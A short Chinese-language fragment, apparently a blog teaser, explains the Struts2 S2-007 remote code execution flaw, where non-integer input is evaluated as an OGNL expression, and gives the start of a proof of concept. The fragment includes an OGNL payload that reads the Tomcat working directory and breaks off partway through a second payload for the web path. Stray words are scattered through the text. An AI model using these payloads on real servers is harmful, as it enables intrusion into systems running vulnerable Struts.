S2-007 遠程代碼執行漏洞檢測與利用

漏洞原理 以下age來自於用戶輸入，傳遞一個非整數給id致使錯誤，struts會將用戶的輸入看成ongl表達式執行，從而致使了漏洞。java POC a.獲取tomcat執行路徑：web %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}apache b、獲取web路徑tomcat %{ #req=@org.apache

>>阅读原文<<